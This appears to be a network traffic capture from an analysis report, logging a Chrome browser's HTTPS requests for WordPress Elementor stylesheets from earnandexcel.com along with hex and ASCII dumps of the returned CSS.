2024-04-11 21:26:37 UTC	927	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e546b121821-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b837f9-4c4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 19 Jul 2023 19:22:33 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7iZnsosbE4awoYBLxA6%2FlC2mvM1uEuzI2lyd8ErHLdfJOiWaDLRP%2BVGwMWMtq%2BljTptptvhhxdiLzuYcD96H%2F66UAHaGY2WQaJ5YnDhx59WX4mwLSwq5WlyEp4iqDBI3H8o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	442	IN	Data Raw: 34 63 34 0d 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 6b 69 74 2d 32 37 37 38 35 7b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 3a 23 36 45 43 31 45 34 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 73 65 63 6f 6e 64 61 72 79 3a 23 35 34 35 39 35 46 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 74 65 78 74 3a 23 37 41 37 41 37 41 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 61 63 63 65 6e 74 3a 23 36 31 43 45 37 30 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 39 31 33 63 30 31 32 3a 23 30 43 44 39 37 37 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 64 35 66 38 39 38 39 3a 23 43 43 46 46 32 41 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 62 34 31 34 35 65 61 3a 23 33 32 38 37 43 38 3b Data Ascii: 4c4.elementor-kit-27785{--e-global-color-primary:#6EC1E4;--e-global-color-secondary:#54595F;--e-global-color-text:#7A7A7A;--e-global-color-accent:#61CE70;--e-global-color-913c012:#0CD977;--e-global-color-d5f8989:#CCFF2A;--e-global-color-b4145ea:#3287C8;
2024-04-11 21:26:37 UTC	785	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 61 63 63 65 6e 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 52 6f 62 6f 74 6f 22 3b 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 61 63 63 65 6e 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 2d 62 6f 78 65 64 20 3e 20 2e 65 6c 65 6d 65 6e Data Ascii: font-weight:400;--e-global-typography-text-font-family:"Roboto";--e-global-typography-text-font-weight:400;--e-global-typography-accent-font-family:"Roboto";--e-global-typography-accent-font-weight:500;}.elementor-section.elementor-section-boxed > .elemen
2024-04-11 21:26:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49729	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:37 UTC	591	OUT	GET /wp-content/plugins/elementor-pro/assets/css/frontend.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	927	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e552b038c8a-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32ba-337c2" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:37:30 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6ntbwe7maaYgxpQLEh8FtQMldI0l%2FHact%2FZQBC9JdH6JC2bPqX7C4BKLfdVJzIqTrJBMvMNuK1KhHlGDqpCXp659ZUNOnRac%2Fn2760yCtINT2vM5p1gvIt4DXyktLwuontA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	442	IN	Data Raw: 37 39 37 38 0d 0a 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 20 2d 20 76 33 2e 32 2e 32 20 2d 20 30 35 2d 30 35 2d 32 30 32 31 20 2a 2f 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 7b 77 69 6c 6c 2d 63 68 61 6e 67 65 3a 74 72 61 6e 73 66 6f 72 6d 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 2d 7a 6f 6f 6d 2d 69 6e 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 7d 2e 65 Data Ascii: 7978/! elementor-pro - v3.2.2 - 05-05-2021 /@charset "UTF-8";.elementor-bg-transform .elementor-bg{will-change:transform}.elementor-bg-transform-zoom-in:hover .elementor-bg{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2)}.e
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 2d 6d 6f 76 65 2d 6c 65 66 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 20 74 72 61 6e 73 6c 61 74 65 58 28 38 25 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 20 74 72 61 6e 73 6c 61 74 65 58 28 38 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 20 74 72 61 6e 73 6c 61 74 65 58 28 38 25 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 67 2d 74 72 61 6e 73 66 6f 72 6d 2d 6d 6f 76 65 2d 6c 65 66 Data Ascii: orm:scale(1);-ms-transform:scale(1);transform:scale(1)}.elementor-bg-transform-move-left .elementor-bg{-webkit-transform:scale(1.2) translateX(8%);-ms-transform:scale(1.2) translateX(8%);transform:scale(1.2) translateX(8%)}.elementor-bg-transform-move-lef
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6d 3a 73 63 61 6c 65 28 31 2e 32 29 20 74 72 61 6e 73 6c 61 74 65 59 28 38 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 32 29 20 74 72 61 6e 73 6c 61 74 65 59 28 38 25 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 7b 2d 2d 74 72 61 6e 73 6c 61 74 65 3a 30 2c 30 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 67 72 6f 77 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 2e 31 29 7d 2e 65 6c 65 6d 65 6e Data Ascii: m:scale(1.2) translateY(8%);transform:scale(1.2) translateY(8%)}.elementor-animated-content{--translate:0,0}.elementor-animated-content:hover .elementor-animated-item--grow{-webkit-transform:scale(1.1);-ms-transform:scale(1.1);transform:scale(1.1)}.elemen
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 66 72 6f 6d 2d 62 6f 74 74 6f 6d 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 66 72 6f 6d 2d 6c 65 66 74 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 66 72 6f 6d 2d 72 69 67 68 74 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e Data Ascii: tent:hover .elementor-animated-item--enter-from-bottom,.elementor-animated-content:hover .elementor-animated-item--enter-from-left,.elementor-animated-content:hover .elementor-animated-item--enter-from-right,.elementor-animated-content:hover .elementor-an
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 78 69 74 2d 74 6f 2d 74 6f 70 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 6d 6f 76 65 2d 72 69 67 68 74 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 33 30 70 78 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 33 30 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 33 30 70 78 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 3a 68 6f 76 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e Data Ascii: mentor-animated-item--exit-to-top{opacity:0}.elementor-animated-content:hover .elementor-animated-item--move-right{-webkit-transform:translateX(30px);-ms-transform:translateX(30px);transform:translateX(30px)}.elementor-animated-content:hover .elementor-an
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 7a 6f 6f 6d 2d 69 6e 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 32 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 32 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 32 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 7a 6f 6f 6d 2d 6f 75 74 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 32 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 32 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 32 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e Data Ascii: or-animated-item--enter-zoom-in{-webkit-transform:scale(.2);-ms-transform:scale(.2);transform:scale(.2)}.elementor-animated-content .elementor-animated-item--enter-zoom-out{-webkit-transform:scale(2);-ms-transform:scale(2);transform:scale(2)}.elementor-an
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 59 28 35 30 30 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 35 30 30 70 78 29 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 66 72 6f 6d 2d 62 6f 74 74 6f 6d 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 66 72 6f 6d 2d 6c 65 66 74 2c 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 63 6f 6e 74 65 6e 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 61 6e 69 6d 61 74 65 64 2d 69 74 65 6d 2d 2d 65 6e 74 65 72 2d 66 72 6f 6d 2d 72 69 67 68 74 2c 2e 65 6c 65 6d Data Ascii: Y(500px);transform:translateY(500px)}.elementor-animated-content .elementor-animated-item--enter-from-bottom,.elementor-animated-content .elementor-animated-item--enter-from-left,.elementor-animated-content .elementor-animated-item--enter-from-right,.elem
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 64 69 74 2d 6d 6f 64 65 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 67 6c 6f 62 61 6c 2d 77 69 64 67 65 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 65 64 69 74 6f 72 2d 77 69 64 67 65 74 2d 73 65 74 74 69 6e 67 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 6e 74 28 6c 69 6e 65 61 72 2c 6c 65 66 74 20 62 6f 74 74 6f 6d 2c 6c 65 66 74 20 74 6f 70 2c 66 72 6f 6d 28 23 66 65 62 34 31 36 29 2c 74 6f 28 23 66 65 63 34 34 39 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 66 65 62 34 31 36 2c 23 66 65 63 34 34 39 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 Data Ascii: dit-mode .elementor-global-widget .elementor-editor-widget-settings{background-image:-webkit-gradient(linear,left bottom,left top,from(#feb416),to(#fec449));background-image:-webkit-linear-gradient(bottom,#feb416,#fec449);background-image:-o-linear-gradie
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 66 69 6c 74 65 72 20 2e 33 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 66 69 6c 74 65 72 20 2e 33 73 2c 2d 77 65 62 6b 69 74 2d 66 69 6c 74 65 72 20 2e 33 73 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 73 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 5f 5f 74 68 75 6d 62 6e 61 69 6c 5f 5f 6c 69 6e 6b 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 73 2d 63 6f 6e 74 61 69 6e 65 72 2e 65 6c 65 6d 65 6e 74 6f 72 2d 68 61 73 2d 69 74 65 6d 2d 72 61 74 69 6f 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 5f 5f 74 68 75 6d 62 6e 61 69 6c 7b 74 6f 70 3a 30 Data Ascii: .3s;transition:filter .3s;transition:filter .3s,-webkit-filter .3s}.elementor-posts-container .elementor-post__thumbnail__link{position:relative;display:block;width:100%}.elementor-posts-container.elementor-has-item-ratio .elementor-post__thumbnail{top:0
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 37 37 37 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 73 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 5f 5f 6d 65 74 61 2d 64 61 74 61 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 61 64 61 64 61 64 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 73 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 5f 5f 72 65 61 64 2d 6d 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 73 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 73 74 5f 5f 74 68 75 6d 62 6e 61 69 6c 7b 70 6f 73 69 74 69 6f 6e Data Ascii: e:14px;color:#777}.elementor-posts .elementor-post__meta-data{line-height:1.3em;font-size:12px;margin-bottom:13px;color:#adadad}.elementor-posts .elementor-post__read-more{font-size:12px;font-weight:700}.elementor-posts .elementor-post__thumbnail{position

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49730	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:37 UTC	574	OUT	GET /wp-content/uploads/elementor/css/global.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	932	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e557e285e70-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"65af8fd9-96fb" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Tue, 23 Jan 2024 10:07:21 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=StCg8P4I%2FcANriTY5e723Yu18tiruFT%2BxGuapriX1%2BRJUc6nd%2BCKfw7HF6wKrMAfv2RrJItiFY8OtMaJFOzPCFHdqfvYpgrZa5ir3dioOOdzhu92%2F1%2Fc1wdD0ipxcECtwzA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	437	IN	Data Raw: 37 63 30 63 0d 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 68 65 61 64 69 6e 67 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 68 65 61 64 69 6e 67 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 72 69 6d 61 72 79 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 70 72 69 6d 61 72 79 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 68 65 61 64 69 6e 67 Data Ascii: 7c0c.elementor-widget-heading .elementor-heading-title{color:var( --e-global-color-primary );font-family:var( --e-global-typography-primary-font-family ), Sans-serif;font-weight:var( --e-global-typography-primary-font-weight );}.elementor-widget-heading
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 77 65 69 67 68 74 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 74 65 78 74 2d 65 64 69 74 6f 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 74 65 78 74 20 29 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 74 79 70 6f 67 72 61 70 68 79 2d 74 65 78 74 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 20 29 2c 20 53 61 6e 73 2d Data Ascii: t-family:var( --e-global-typography-text-font-family ), Sans-serif;font-weight:var( --e-global-typography-text-font-weight );}.elementor-widget-text-editor{color:var( --e-global-color-text );font-family:var( --e-global-typography-text-font-family ), Sans-
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 69 64 65 72 2e 65 6c 65 6d 65 6e 74 6f 72 2d 76 69 65 77 2d 66 72 61 6d 65 64 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 2c 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 64 69 76 69 64 65 72 2e 65 6c 65 6d 65 6e 74 6f 72 2d 76 69 65 77 2d 64 65 66 61 75 6c 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 73 65 63 6f 6e 64 61 72 79 20 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 73 65 63 6f 6e 64 61 72 79 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 64 69 76 69 64 65 72 2e 65 6c 65 6d 65 6e 74 6f 72 2d 76 69 65 77 2d 66 72 61 6d 65 64 20 2e 65 6c 65 6d 65 6e 74 6f 72 Data Ascii: ider.elementor-view-framed .elementor-icon, .elementor-widget-divider.elementor-view-default .elementor-icon{color:var( --e-global-color-secondary );border-color:var( --e-global-color-secondary );}.elementor-widget-divider.elementor-view-framed .elementor
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 72 2d 69 63 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 69 63 6f 6e 2d 62 6f 78 2e 65 6c 65 6d 65 6e 74 6f 72 2d 76 69 65 77 2d 66 72 61 6d 65 64 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 2c 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 77 69 64 67 65 74 2d 69 63 6f 6e 2d 62 6f 78 2e 65 6c 65 6d 65 6e 74 6f 72 2d 76 69 65 77 2d 64 65 66 61 75 6c 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 7b 66 69 6c 6c 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 72 69 6d 61 72 79 20 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 20 2d 2d 65 2d 67 6c 6f 62 61 6c 2d 63 6f 6c 6f 72 2d 70 Data Ascii: r-icon{background-color:var( --e-global-color-primary );}.elementor-widget-icon-box.elementor-view-framed .elementor-icon, .elementor-widget-icon-box.elementor-view-default .elementor-icon{fill:var( --e-global-color-primary );color:var( --e-global-color-p
